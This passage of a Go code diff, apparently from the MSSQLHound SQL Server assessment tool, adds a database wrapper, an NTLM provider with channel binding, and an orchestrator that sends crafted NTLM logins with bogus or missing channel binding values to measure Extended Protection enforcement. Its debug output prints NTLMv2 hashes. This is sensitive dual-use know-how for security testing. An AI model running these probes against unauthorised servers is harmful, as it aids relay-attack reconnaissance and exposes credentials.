DECLARE @ExtendedProtection INT + + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib', + N'ForceEncryption', + @ForceEncryption OUTPUT + + EXEC master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', + N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib', + N'ExtendedProtection', + @ExtendedProtection OUTPUT + + SELECT + @ForceEncryption AS ForceEncryption, + @ExtendedProtection AS ExtendedProtection + ` + + var forceEnc, extProt sql.NullInt64 + + err := c.DBW().QueryRowContext(ctx, query).Scan(&forceEnc, &extProt) + if err != nil { + return nil // Non-fatal - user might not have permission + } + + if forceEnc.Valid { + if forceEnc.Int64 == 1 { + info.ForceEncryption = "Yes" + } else { + info.ForceEncryption = "No" + } + } + + if extProt.Valid { + switch extProt.Int64 { + case 0: + info.ExtendedProtection = "Off" + case 1: + info.ExtendedProtection = "Allowed" + case 2: + info.ExtendedProtection = "Required" + } + } + + return nil +} + +// TestConnection tests if a connection can be established +func TestConnection(serverInstance, userID, password string, timeout time.Duration) error { + client := NewClient(serverInstance, userID, password) + + ctx, cancel := context.WithTimeout(context.Background(), timeout) + defer cancel() + + if err := client.Connect(ctx); err != nil { + return err + } + defer client.Close() + + return nil +} diff --git a/go/internal/mssql/db_wrapper.go b/go/internal/mssql/db_wrapper.go new file mode 100644 index 0000000..e0e19be --- /dev/null +++ b/go/internal/mssql/db_wrapper.go @@ -0,0 +1,435 @@ +// Package mssql provides SQL Server connection and data collection functionality. +package mssql + +import ( + "context" + "database/sql" + "fmt" + "time" +) + +// DBWrapper provides a unified interface for database queries +// that works with both native go-mssqldb and PowerShell fallback modes. +type DBWrapper struct { + db *sql.DB // Native database connection + psClient *PowerShellClient // PowerShell client for fallback + usePowerShell bool +} + +// NewDBWrapper creates a new database wrapper +func NewDBWrapper(db *sql.DB, psClient *PowerShellClient, usePowerShell bool) *DBWrapper { + return &DBWrapper{ + db: db, + psClient: psClient, + usePowerShell: usePowerShell, + } +} + +// RowScanner provides a unified interface for scanning rows +type RowScanner interface { + Scan(dest ...interface{}) error +} + +// Rows provides a unified interface for iterating over query results +type Rows interface { + Next() bool + Scan(dest ...interface{}) error + Close() error + Err() error + Columns() ([]string, error) +} + +// nativeRows wraps sql.Rows +type nativeRows struct { + rows *sql.Rows +} + +func (r *nativeRows) Next() bool { return r.rows.Next() } +func (r *nativeRows) Scan(dest ...interface{}) error { return r.rows.Scan(dest...) } +func (r *nativeRows) Close() error { return r.rows.Close() } +func (r *nativeRows) Err() error { return r.rows.Err() } +func (r *nativeRows) Columns() ([]string, error) { return r.rows.Columns() } + +// psRows wraps PowerShell query results to implement the Rows interface +type psRows struct { + results []QueryResult + columns []string // Column names in query order (from QueryResponse) + current int + lastErr error +} + +func newPSRows(response *QueryResponse) *psRows { + r := &psRows{ + results: response.Rows, + columns: response.Columns, // Use column order from PowerShell response + current: -1, + } + return r +} + +func (r *psRows) Next() bool { + r.current++ + return r.current < len(r.results) +} + +func (r *psRows) Scan(dest ...interface{}) error { + if r.current >= len(r.results) || r.current < 0 { + return sql.ErrNoRows + } + + row := r.results[r.current] + + // Match columns to destinations in order + for i, col := range r.columns { + if i >= len(dest) { + break + } + if err := scanValue(row[col], dest[i]); err != nil { + r.lastErr = err + return err + } + } + return nil +} + +func (r *psRows) Close() error { return nil } +func (r *psRows) Err() error { return r.lastErr } +func (r *psRows) Columns() ([]string, error) { return r.columns, nil } + +// scanValue converts a PowerShell query result value to the destination type +func scanValue(src interface{}, dest interface{}) error { + if src == nil { + switch d := dest.(type) { + case *sql.NullString: + d.Valid = false + return nil + case *sql.NullInt64: + d.Valid = false + return nil + case *sql.NullBool: + d.Valid = false + return nil + case *sql.NullInt32: + d.Valid = false + return nil + case *sql.NullFloat64: + d.Valid = false + return nil + case *sql.NullTime: + d.Valid = false + return nil + case *string: + *d = "" + return nil + case *int: + *d = 0 + return nil + case *int64: + *d = 0 + return nil + case *bool: + *d = false + return nil + case *time.Time: + *d = time.Time{} + return nil + case *interface{}: + *d = nil + return nil + case *[]byte: + *d = nil + return nil + default: + return nil + } + } + + switch d := dest.(type) { + case *sql.NullString: + d.Valid = true + switch v := src.(type) { + case string: + d.String = v + case float64: + d.String = fmt.Sprintf("%v", v) + default: + d.String = fmt.Sprintf("%v", v) + } + return nil + + case *sql.NullInt64: + d.Valid = true + switch v := src.(type) { + case float64: + d.Int64 = int64(v) + case int: + d.Int64 = int64(v) + case int64: + d.Int64 = v + case bool: + if v { + d.Int64 = 1 + } else { + d.Int64 = 0 + } + default: + d.Int64 = 0 + } + return nil + + case *sql.NullInt32: + d.Valid = true + switch v := src.(type) { + case float64: + d.Int32 = int32(v) + case int: + d.Int32 = int32(v) + case int64: + d.Int32 = int32(v) + case bool: + if v { + d.Int32 = 1 + } else { + d.Int32 = 0 + } + default: + d.Int32 = 0 + } + return nil + + case *sql.NullBool: + d.Valid = true + switch v := src.(type) { + case bool: + d.Bool = v + case float64: + d.Bool = v != 0 + case int: + d.Bool = v != 0 + default: + d.Bool = false + } + return nil + + case *sql.NullFloat64: + d.Valid = true + switch v := src.(type) { + case float64: + d.Float64 = v + case int: + d.Float64 = float64(v) + case int64: + d.Float64 = float64(v) + default: + d.Float64 = 0 + } + return nil + + case *string: + switch v := src.(type) { + case string: + *d = v + default: + *d = fmt.Sprintf("%v", v) + } + return nil + + case *int: + switch v := src.(type) { + case float64: + *d = int(v) + case int: + *d = v + case int64: + *d = int(v) + default: + *d = 0 + } + return nil + + case *int64: + switch v := src.(type) { + case float64: + *d = int64(v) + case int: + *d = int64(v) + case int64: + *d = v + default: + *d = 0 + } + return nil + + case *bool: + switch v := src.(type) { + case bool: + *d = v + case float64: + *d = v != 0 + case int: + *d = v != 0 + default: + *d = false + } + return nil + + case *time.Time: + switch v := src.(type) { + case string: + // Try common date formats from PowerShell/JSON + formats := []string{ + time.RFC3339, + "2006-01-02T15:04:05.999999999Z07:00", + "2006-01-02T15:04:05Z", + "2006-01-02T15:04:05", + "2006-01-02 15:04:05", + "1/2/2006 3:04:05 PM", + "/Date(1136239445000)/", // .NET JSON date format + } + for _, format := range formats { + if t, err := time.Parse(format, v); err == nil { + *d = t + return nil + } + } + *d = time.Time{} + case time.Time: + *d = v + default: + *d = time.Time{} + } + return nil + + case *sql.NullTime: + d.Valid = true + switch v := src.(type) { + case string: + formats := []string{ + time.RFC3339, + "2006-01-02T15:04:05.999999999Z07:00", + "2006-01-02T15:04:05Z", + "2006-01-02T15:04:05", + "2006-01-02 15:04:05", + "1/2/2006 3:04:05 PM", + } + for _, format := range formats { + if t, err := time.Parse(format, v); err == nil { + d.Time = t + return nil + } + } + d.Valid = false + d.Time = time.Time{} + case time.Time: + d.Time = v + default: + d.Valid = false + d.Time = time.Time{} + } + return nil + + case *interface{}: + *d = src + return nil + + case *[]byte: // []uint8 is same as []byte + // Handle byte slices (used for binary data like SIDs) + bytesDest := dest.(*[]byte) + switch v := src.(type) { + case string: + // String from JSON - could be base64 or hex + *bytesDest = []byte(v) + case []byte: + *bytesDest = v + case []interface{}: + // PowerShell sometimes returns byte arrays as array of numbers + bytes := make([]byte, len(v)) + for i, b := range v { + if num, ok := b.(float64); ok { + bytes[i] = byte(num) + } + } + *bytesDest = bytes + default: + // Set to empty slice + *bytesDest = []byte{} + } + return nil + + default: + return fmt.Errorf("unsupported scan destination type: %T", dest) + } +} + +// QueryContext executes a query and returns rows +func (w *DBWrapper) QueryContext(ctx context.Context, query string, args ...interface{}) (Rows, error) { + if w.usePowerShell { + // PowerShell doesn't support parameterized queries well, so we only support queries without args + if len(args) > 0 { + return nil, fmt.Errorf("PowerShell mode does not support parameterized queries") + } + response, err := w.psClient.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + return newPSRows(response), nil + } + + rows, err := w.db.QueryContext(ctx, query, args...) + if err != nil { + return nil, err + } + return &nativeRows{rows: rows}, nil +} + +// QueryRowContext executes a query and returns a single row +func (w *DBWrapper) QueryRowContext(ctx context.Context, query string, args ...interface{}) RowScanner { + if w.usePowerShell { + if len(args) > 0 { + return &errorRowScanner{err: fmt.Errorf("PowerShell mode does not support parameterized queries")} + } + response, err := w.psClient.ExecuteQuery(ctx, query) + if err != nil { + return &errorRowScanner{err: err} + } + if len(response.Rows) == 0 { + return &errorRowScanner{err: sql.ErrNoRows} + } + rows := newPSRows(response) + rows.Next() // Advance to first row + return rows + } + + return w.db.QueryRowContext(ctx, query, args...) +} + +// ExecContext executes a query without returning rows +func (w *DBWrapper) ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error) { + if w.usePowerShell { + if len(args) > 0 { + return nil, fmt.Errorf("PowerShell mode does not support parameterized queries") + } + _, err := w.psClient.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + return &psResult{}, nil + } + + return w.db.ExecContext(ctx, query, args...) +} + +// psResult implements sql.Result for PowerShell mode +type psResult struct{} + +func (r *psResult) LastInsertId() (int64, error) { return 0, nil } +func (r *psResult) RowsAffected() (int64, error) { return 0, nil } + +// errorRowScanner returns an error on Scan +type errorRowScanner struct { + err error +} + +func (r *errorRowScanner) Scan(dest ...interface{}) error { + return r.err +} diff --git a/go/internal/mssql/epa_auth_provider.go b/go/internal/mssql/epa_auth_provider.go new file mode 100644 index 0000000..c166b69 --- /dev/null +++ b/go/internal/mssql/epa_auth_provider.go @@ -0,0 +1,103 @@ +// Package mssql - Custom NTLM authentication provider with EPA channel binding support. +// This bridges the go-mssqldb integratedauth interface with our custom ntlmAuth +// implementation that supports MsvAvChannelBindings and MsvAvTargetName AV_PAIRs. +// +// go-mssqldb's built-in NTLM implementation (integratedauth/ntlm) does NOT include +// EPA channel binding tokens, causing authentication failures when SQL Server has +// Extended Protection set to "Required". This provider solves that by injecting +// the correct CBT (computed from the TLS server certificate) into the NTLM Type3 message. +package mssql + +import ( + "fmt" + "strings" + "sync" + + "github.com/microsoft/go-mssqldb/integratedauth" + "github.com/microsoft/go-mssqldb/msdsn" +) + +const epaAuthProviderName = "epa-ntlm" + +// epaAuthProvider implements integratedauth.Provider with EPA channel binding support. +// It creates authenticators that use our custom ntlmAuth implementation which +// supports MsvAvChannelBindings and MsvAvTargetName AV_PAIRs in the NTLM Type3 message. +type epaAuthProvider struct { + mu sync.Mutex + cbt []byte // Channel binding token (16-byte MD5 of SEC_CHANNEL_BINDINGS) + spn string // Service Principal Name (MSSQLSvc/hostname:port) + verbose bool + debug bool +} + +// SetCBT stores the channel binding hash for the next authentication. +// This is typically called from a TLS VerifyPeerCertificate callback during +// the go-mssqldb TLS handshake, before GetIntegratedAuthenticator is invoked. +func (p *epaAuthProvider) SetCBT(cbt []byte) { + p.mu.Lock() + defer p.mu.Unlock() + p.cbt = make([]byte, len(cbt)) + copy(p.cbt, cbt) +} + +// SetSPN stores the service principal name for authentication. +func (p *epaAuthProvider) SetSPN(spn string) { + p.mu.Lock() + defer p.mu.Unlock() + p.spn = spn +} + +// GetIntegratedAuthenticator creates a new NTLM authenticator with EPA support. +// This is called by go-mssqldb after the TLS handshake completes, so the CBT +// captured via VerifyPeerCertificate is already available. +func (p *epaAuthProvider) GetIntegratedAuthenticator(config msdsn.Config) (integratedauth.IntegratedAuthenticator, error) { + if !strings.ContainsRune(config.User, '\\') { + return nil, fmt.Errorf("epa-ntlm: invalid username format, expected DOMAIN\\user: %v", config.User) + } + parts := strings.SplitN(config.User, "\\", 2) + domain, username := parts[0], parts[1] + + p.mu.Lock() + cbt := make([]byte, len(p.cbt)) + copy(cbt, p.cbt) + spn := p.spn + p.mu.Unlock() + + if p.debug { + fmt.Printf(" [EPA-auth] GetIntegratedAuthenticator: domain=%s, user=%s, spn=%s, cbt=%x (%d bytes)\n", + domain, username, spn, cbt, len(cbt)) + } + + auth := newNTLMAuth(domain, username, config.Password, spn) + auth.SetEPATestMode(EPATestNormal) + if len(cbt) == 16 { + auth.SetChannelBindingHash(cbt) + } else if p.debug { + fmt.Printf(" [EPA-auth] WARNING: CBT not set (len=%d, expected 16)!\n", len(cbt)) + } + + return &epaAuthenticator{auth: auth}, nil +} + +// epaAuthenticator implements integratedauth.IntegratedAuthenticator using +// the custom ntlmAuth with EPA channel binding support. +type epaAuthenticator struct { + auth *ntlmAuth +} + +// InitialBytes returns the NTLM Type1 (Negotiate) message. +func (a *epaAuthenticator) InitialBytes() ([]byte, error) { + return a.auth.CreateNegotiateMessage(), nil +} + +// NextBytes processes the NTLM Type2 (Challenge) and returns the Type3 (Authenticate) +// message with EPA channel binding and service binding AV_PAIRs. +func (a *epaAuthenticator) NextBytes(challengeBytes []byte) ([]byte, error) { + if err := a.auth.ProcessChallenge(challengeBytes); err != nil { + return nil, fmt.Errorf("epa-ntlm: processing challenge: %w", err) + } + return a.auth.CreateAuthenticateMessage() +} + +// Free releases any resources held by the authenticator. +func (a *epaAuthenticator) Free() {} diff --git a/go/internal/mssql/epa_tester.go b/go/internal/mssql/epa_tester.go new file mode 100644 index 0000000..8378354 --- /dev/null +++ b/go/internal/mssql/epa_tester.go @@ -0,0 +1,989 @@ +// Package mssql - EPA test orchestrator. +// Performs raw TDS+TLS+NTLM login attempts with controllable Channel Binding +// and Service Binding AV_PAIRs to determine EPA enforcement level. +// This matches the approach used in the Python reference implementation +// (MssqlExtended.py / MssqlInformer.py). +package mssql + +import ( + "context" + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "fmt" + "math/rand" + "net" + "strings" + "time" + "unicode/utf16" +) + +// EPATestConfig holds configuration for a single EPA test connection. +type EPATestConfig struct { + Hostname string + Port int + InstanceName string + Domain string + Username string + Password string + TestMode EPATestMode + Verbose bool + Debug bool + DisableMIC bool // Diagnostic: omit MsvAvFlags and MIC from Type3 + UseRawTargetInfo bool // Diagnostic: use server's raw target info (no EPA mods, no MIC) + UseClientTimestamp bool // Diagnostic: use time.Now() FILETIME instead of server's MsvAvTimestamp + DNSResolver string // Custom DNS resolver IP (e.g. domain controller) + ProxyDialer interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) + } +} + +// epaTestOutcome represents the result of a single EPA test connection attempt. +type epaTestOutcome struct { + Success bool + ErrorMessage string + IsUntrustedDomain bool + IsLoginFailed bool +} + +// TDS LOGIN7 option flags +const ( + login7OptionFlags2IntegratedSecurity byte = 0x80 + login7OptionFlags2ODBCOn byte = 0x02 + login7OptionFlags2InitLangFatal byte = 0x01 +) + +// TDS token types for parsing login response +const ( + tdsTokenLoginAck byte = 0xAD + tdsTokenError byte = 0xAA + tdsTokenEnvChange byte = 0xE3 + tdsTokenDone byte = 0xFD + tdsTokenDoneProc byte = 0xFE + tdsTokenInfo byte = 0xAB + tdsTokenSSPI byte = 0xED +) + +// Encryption flag values from PRELOGIN response +const ( + encryptOff byte = 0x00 + encryptOn byte = 0x01 + encryptNotSup byte = 0x02 + encryptReq byte = 0x03 + // encryptStrict is a synthetic value used to indicate TDS 8.0 strict + // encryption was detected (the server required TLS before any TDS messages). + encryptStrict byte = 0x08 +) + +// runEPATest performs a single raw TDS+TLS+NTLM login with the specified EPA test mode. +// This replaces the old testConnectionWithEPA which incorrectly used encrypt=disable. +// +// The flow matches the Python MssqlExtended.login(): +// 1. TCP connect +// 2. Send PRELOGIN, receive PRELOGIN response, extract encryption setting +// 3. Perform TLS handshake inside TDS PRELOGIN packets +// 4. Build LOGIN7 with NTLM Type1 in SSPI field, send over TLS +// 5. (For ENCRYPT_OFF: switch back to raw TCP after LOGIN7) +// 6. Receive NTLM Type2 challenge from server +// 7. Build Type3 with modified AV_PAIRs per testMode, send as TDS_SSPI +// 8. Receive final response: LOGINACK = success, ERROR = failure +func runEPATest(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, byte, error) { + logf := func(format string, args ...interface{}) { + if config.Debug { + fmt.Printf(" [EPA-debug] "+format+"\n", args...) + } + } + + testModeNames := map[EPATestMode]string{ + EPATestNormal: "Normal", + EPATestBogusCBT: "BogusCBT", + EPATestMissingCBT: "MissingCBT", + EPATestBogusService: "BogusService", + EPATestMissingService: "MissingService", + } + + // Resolve port + port := config.Port + if port == 0 { + port = 1433 + } + + logf("Starting EPA test mode=%s against %s:%d", testModeNames[config.TestMode], config.Hostname, port) + + // TCP connect + addr := fmt.Sprintf("%s:%d", config.Hostname, port) + var conn net.Conn + var err error + if config.ProxyDialer != nil { + // Resolve hostname to IP first — SOCKS proxies often can't resolve + // internal DNS names, but net.DefaultResolver is configured to use + // TCP DNS through the proxy. + dialAddr, resolveErr := resolveForProxy(ctx, config.Hostname, port) + if resolveErr != nil { + dialAddr = addr // fall back to hostname if resolve fails + } + logf("Dialing via proxy to %s (original: %s)", dialAddr, addr) + conn, err = config.ProxyDialer.DialContext(ctx, "tcp", dialAddr) + } else { + dialer := dialerWithResolver(config.DNSResolver, 10*time.Second) + conn, err = dialer.DialContext(ctx, "tcp", addr) + } + if err != nil { + return nil, 0, fmt.Errorf("TCP connect to %s failed: %w", addr, err) + } + defer conn.Close() + conn.SetDeadline(time.Now().Add(30 * time.Second)) + + tds := newTDSConn(conn) + + // Step 1: PRELOGIN exchange + preloginPayload := buildPreloginPacket() + if err := tds.sendPacket(tdsPacketPrelogin, preloginPayload); err != nil { + return nil, 0, fmt.Errorf("send PRELOGIN: %w", err) + } + + _, preloginResp, err := tds.readFullPacket() + if err != nil { + return nil, 0, fmt.Errorf("read PRELOGIN response: %w", err) + } + + encryptionFlag, err := parsePreloginEncryption(preloginResp) + if err != nil { + return nil, 0, fmt.Errorf("parse PRELOGIN: %w", err) + } + + logf("Server encryption flag: 0x%02X", encryptionFlag) + + if encryptionFlag == encryptNotSup { + return nil, encryptionFlag, fmt.Errorf("server does not support encryption, cannot test EPA") + } + + // Step 2: TLS handshake over TDS + tlsConn, sw, err := performTLSHandshake(tds, config.Hostname) + if err != nil { + return nil, encryptionFlag, fmt.Errorf("TLS handshake: %w", err) + } + logf("TLS handshake complete, cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite) + + // Log certificate details for debugging proxy/routing issues + if state := tlsConn.ConnectionState(); len(state.PeerCertificates) > 0 { + cert := state.PeerCertificates[0] + certFingerprint := sha256.Sum256(cert.Raw) + logf("TLS cert subject: %s, issuer: %s, SHA256: %x", cert.Subject, cert.Issuer, certFingerprint[:8]) + } + + // Step 3: Compute channel binding hash (tls-unique for TLS 1.2, tls-server-end-point for TLS 1.3) + logf("TLS version: 0x%04X, TLSUnique: %x", tlsConn.ConnectionState().Version, tlsConn.ConnectionState().TLSUnique) + cbtHash, cbtType, err := getChannelBindingHashFromTLS(tlsConn) + if err != nil { + return nil, encryptionFlag, fmt.Errorf("compute CBT: %w", err) + } + logf("CBT hash (%s): %x", cbtType, cbtHash) + + // Step 4: Setup NTLM authenticator + spn := computeSPN(config.Hostname, port) + auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn) + auth.SetEPATestMode(config.TestMode) + auth.SetChannelBindingHash(cbtHash) + if config.DisableMIC { + auth.SetDisableMIC(true) + logf("MIC DISABLED (diagnostic bypass)") + } + if config.UseRawTargetInfo { + auth.SetUseRawTargetInfo(true) + logf("RAW TARGET INFO MODE (no EPA modifications, no MIC)") + } + if config.UseClientTimestamp { + auth.SetUseClientTimestamp(true) + logf("CLIENT TIMESTAMP MODE (using time.Now() FILETIME)") + } + logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username) + + // Generate NTLM Type1 (Negotiate) + negotiateMsg := auth.CreateNegotiateMessage() + logf("Type1 negotiate message: %d bytes", len(negotiateMsg)) + + // Step 5: Build and send LOGIN7 with NTLM Type1 in SSPI field + login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg) + logf("LOGIN7 packet: %d bytes", len(login7)) + + // Send LOGIN7 through TLS (the TLS connection writes to the underlying TCP) + // We need to wrap in TDS packet and send through the TLS layer + login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7) + if _, err := tlsConn.Write(login7TDS); err != nil { + return nil, encryptionFlag, fmt.Errorf("send LOGIN7: %w", err) + } + logf("Sent LOGIN7 (%d bytes with TDS header)", len(login7TDS)) + + // Step 6: For ENCRYPT_OFF, drop TLS after LOGIN7 (matching Python line 82-83) + if encryptionFlag == encryptOff { + sw.c = conn // Switch back to raw TCP + logf("Dropped TLS (ENCRYPT_OFF)") + } + + // Step 7: Read server response (contains NTLM Type2 challenge) + // After TLS switch, we read from the appropriate transport + var responseData []byte + if encryptionFlag == encryptOff { + // Read from raw TCP with TDS framing + _, responseData, err = tds.readFullPacket() + } else { + // Read from TLS + responseData, err = readTLSTDSPacket(tlsConn) + } + if err != nil { + return nil, encryptionFlag, fmt.Errorf("read challenge response: %w", err) + } + logf("Received challenge response: %d bytes", len(responseData)) + + // Extract NTLM Type2 from the SSPI token in the TDS response + challengeData := extractSSPIToken(responseData) + if challengeData == nil { + // Check if we got an error instead (e.g., server rejected before NTLM) + success, errMsg := parseLoginTokens(responseData) + logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: !strings.Contains(errMsg, "untrusted domain") && strings.Contains(errMsg, "Login failed for"), + }, encryptionFlag, nil + } + logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData)) + + // Step 8: Process challenge and generate Type3 + if err := auth.ProcessChallenge(challengeData); err != nil { + return nil, encryptionFlag, fmt.Errorf("process NTLM challenge: %w", err) + } + logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain) + logf("Server challenge: %x", auth.serverChallenge[:]) + logf("Server negotiate flags: 0x%08X", auth.negotiateFlags) + if auth.timestamp != nil { + logf("Server timestamp: %x", auth.timestamp) + } + logf("Auth domain for NTLMv2 hash: %q", auth.GetAuthDomain()) + logf("NTLMv2 hash: %s", auth.ComputeNTLMv2HashHex()) + + // Dump all AV_PAIRs from Type2 for debugging + for _, pair := range auth.GetTargetInfoPairs() { + if pair.ID == avIDMsvAvEOL { + logf(" AV_PAIR: %s", AVPairName(pair.ID)) + } else if pair.ID == avIDMsvAvTimestamp { + logf(" AV_PAIR: %s = %x", AVPairName(pair.ID), pair.Value) + } else if pair.ID == avIDMsvAvFlags { + logf(" AV_PAIR: %s = 0x%08x", AVPairName(pair.ID), pair.Value) + } else if pair.ID == avIDMsvAvNbComputerName || pair.ID == avIDMsvAvNbDomainName || + pair.ID == avIDMsvAvDNSComputerName || pair.ID == avIDMsvAvDNSDomainName || + pair.ID == avIDMsvAvDNSTreeName || pair.ID == avIDMsvAvTargetName { + logf(" AV_PAIR: %s = %q", AVPairName(pair.ID), decodeUTF16LE(pair.Value)) + } else { + logf(" AV_PAIR: %s (%d bytes)", AVPairName(pair.ID), len(pair.Value)) + } + } + + authenticateMsg, err := auth.CreateAuthenticateMessage() + if err != nil { + return nil, encryptionFlag, fmt.Errorf("create NTLM authenticate: %w", err) + } + logf("Type3 authenticate message: %d bytes (mode=%s, disableMIC=%v)", len(authenticateMsg), testModeNames[config.TestMode], config.DisableMIC) + logf("Type1 hex: %s", hex.EncodeToString(auth.negotiateMsg)) + logf("Type3 hex (first 128 bytes): %s", hex.EncodeToString(authenticateMsg[:min(128, len(authenticateMsg))])) + + // Step 9: Send Type3 as TDS_SSPI + sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg) + if encryptionFlag == encryptOff { + // Send on raw TCP + if _, err := conn.Write(sspiTDS); err != nil { + return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err) + } + } else { + // Send through TLS + if _, err := tlsConn.Write(sspiTDS); err != nil { + return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err) + } + } + logf("Sent Type3 SSPI (%d bytes with TDS header)", len(sspiTDS)) + + // Step 10: Read final response + if encryptionFlag == encryptOff { + _, responseData, err = tds.readFullPacket() + } else { + responseData, err = readTLSTDSPacket(tlsConn) + } + if err != nil { + return nil, encryptionFlag, fmt.Errorf("read auth response: %w", err) + } + logf("Received auth response: %d bytes", len(responseData)) + + // Parse for LOGINACK or ERROR + success, errMsg := parseLoginTokens(responseData) + logf("Login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: !strings.Contains(errMsg, "untrusted domain") && strings.Contains(errMsg, "Login failed for"), + }, encryptionFlag, nil +} + +// buildTDSPacketRaw creates a TDS packet with header + payload (for writing through TLS). +func buildTDSPacketRaw(packetType byte, payload []byte) []byte { + pktLen := tdsHeaderSize + len(payload) + pkt := make([]byte, pktLen) + pkt[0] = packetType + pkt[1] = 0x01 // EOM + binary.BigEndian.PutUint16(pkt[2:4], uint16(pktLen)) + // SPID, PacketID, Window all zero + copy(pkt[tdsHeaderSize:], payload) + return pkt +} + +// buildLogin7Packet constructs a TDS LOGIN7 packet payload with SSPI (NTLM Type1). +func buildLogin7Packet(hostname, appName, serverName string, sspiPayload []byte) []byte { + hostname16 := str2ucs2Login(hostname) + appname16 := str2ucs2Login(appName) + servername16 := str2ucs2Login(serverName) + ctlintname16 := str2ucs2Login("MSSQLHound") + + hostnameRuneLen := utf16.Encode([]rune(hostname)) + appnameRuneLen := utf16.Encode([]rune(appName)) + servernameRuneLen := utf16.Encode([]rune(serverName)) + ctlintnameRuneLen := utf16.Encode([]rune("MSSQLHound")) + + // loginHeader is 94 bytes (matches go-mssqldb loginHeader struct) + const headerSize = 94 + sspiLen := len(sspiPayload) + + // Calculate offsets + offset := uint16(headerSize) + + hostnameOffset := offset + offset += uint16(len(hostname16)) + + // Username (empty for SSPI) + usernameOffset := offset + // Password (empty for SSPI) + passwordOffset := offset + + appnameOffset := offset + offset += uint16(len(appname16)) + + servernameOffset := offset + offset += uint16(len(servername16)) + + // Extension (empty) + extensionOffset := offset + + ctlintnameOffset := offset + offset += uint16(len(ctlintname16)) + + // Language (empty) + languageOffset := offset + // Database (empty) + databaseOffset := offset + + sspiOffset := offset + offset += uint16(sspiLen) + + // AtchDBFile (empty) + atchdbOffset := offset + // ChangePassword (empty) + changepwOffset := offset + + totalLen := uint32(offset) + + // Build the packet + pkt := make([]byte, totalLen) + + // Length + binary.LittleEndian.PutUint32(pkt[0:4], totalLen) + // TDS Version (7.4 = 0x74000004) + binary.LittleEndian.PutUint32(pkt[4:8], 0x74000004) + // Packet Size + binary.LittleEndian.PutUint32(pkt[8:12], uint32(tdsMaxPacketSize)) + // Client Program Version + binary.LittleEndian.PutUint32(pkt[12:16], 0x07000000) + // Client PID + binary.LittleEndian.PutUint32(pkt[16:20], uint32(rand.Intn(65535))) + // Connection ID + binary.LittleEndian.PutUint32(pkt[20:24], 0) + + // Option Flags 1 (byte 24) + pkt[24] = 0x00 + // Option Flags 2 (byte 25): Integrated Security ON + ODBC ON + pkt[25] = login7OptionFlags2IntegratedSecurity | login7OptionFlags2ODBCOn | login7OptionFlags2InitLangFatal + // Type Flags (byte 26) + pkt[26] = 0x00 + // Option Flags 3 (byte 27) + pkt[27] = 0x00 + + // Client Time Zone (4 bytes at 28) + // Client LCID (4 bytes at 32) + + // Field offsets and lengths + binary.LittleEndian.PutUint16(pkt[36:38], hostnameOffset) + binary.LittleEndian.PutUint16(pkt[38:40], uint16(len(hostnameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[40:42], usernameOffset) + binary.LittleEndian.PutUint16(pkt[42:44], 0) // empty username for SSPI + + binary.LittleEndian.PutUint16(pkt[44:46], passwordOffset) + binary.LittleEndian.PutUint16(pkt[46:48], 0) // empty password for SSPI + + binary.LittleEndian.PutUint16(pkt[48:50], appnameOffset) + binary.LittleEndian.PutUint16(pkt[50:52], uint16(len(appnameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[52:54], servernameOffset) + binary.LittleEndian.PutUint16(pkt[54:56], uint16(len(servernameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[56:58], extensionOffset) + binary.LittleEndian.PutUint16(pkt[58:60], 0) // no extension + + binary.LittleEndian.PutUint16(pkt[60:62], ctlintnameOffset) + binary.LittleEndian.PutUint16(pkt[62:64], uint16(len(ctlintnameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[64:66], languageOffset) + binary.LittleEndian.PutUint16(pkt[66:68], 0) + + binary.LittleEndian.PutUint16(pkt[68:70], databaseOffset) + binary.LittleEndian.PutUint16(pkt[70:72], 0) + + // ClientID (6 bytes at 72) - leave zero + + binary.LittleEndian.PutUint16(pkt[78:80], sspiOffset) + binary.LittleEndian.PutUint16(pkt[80:82], uint16(sspiLen)) + + binary.LittleEndian.PutUint16(pkt[82:84], atchdbOffset) + binary.LittleEndian.PutUint16(pkt[84:86], 0) + + binary.LittleEndian.PutUint16(pkt[86:88], changepwOffset) + binary.LittleEndian.PutUint16(pkt[88:90], 0) + + // SSPILongLength (4 bytes at 90) + binary.LittleEndian.PutUint32(pkt[90:94], 0) + + // Payload + copy(pkt[hostnameOffset:], hostname16) + copy(pkt[appnameOffset:], appname16) + copy(pkt[servernameOffset:], servername16) + copy(pkt[ctlintnameOffset:], ctlintname16) + copy(pkt[sspiOffset:], sspiPayload) + + return pkt +} + +// str2ucs2Login converts a string to UTF-16LE bytes (for LOGIN7 fields). +func str2ucs2Login(s string) []byte { + encoded := utf16.Encode([]rune(s)) + b := make([]byte, 2*len(encoded)) + for i, r := range encoded { + b[2*i] = byte(r) + b[2*i+1] = byte(r >> 8) + } + return b +} + +// parsePreloginEncryption extracts the encryption flag from a PRELOGIN response payload. +func parsePreloginEncryption(payload []byte) (byte, 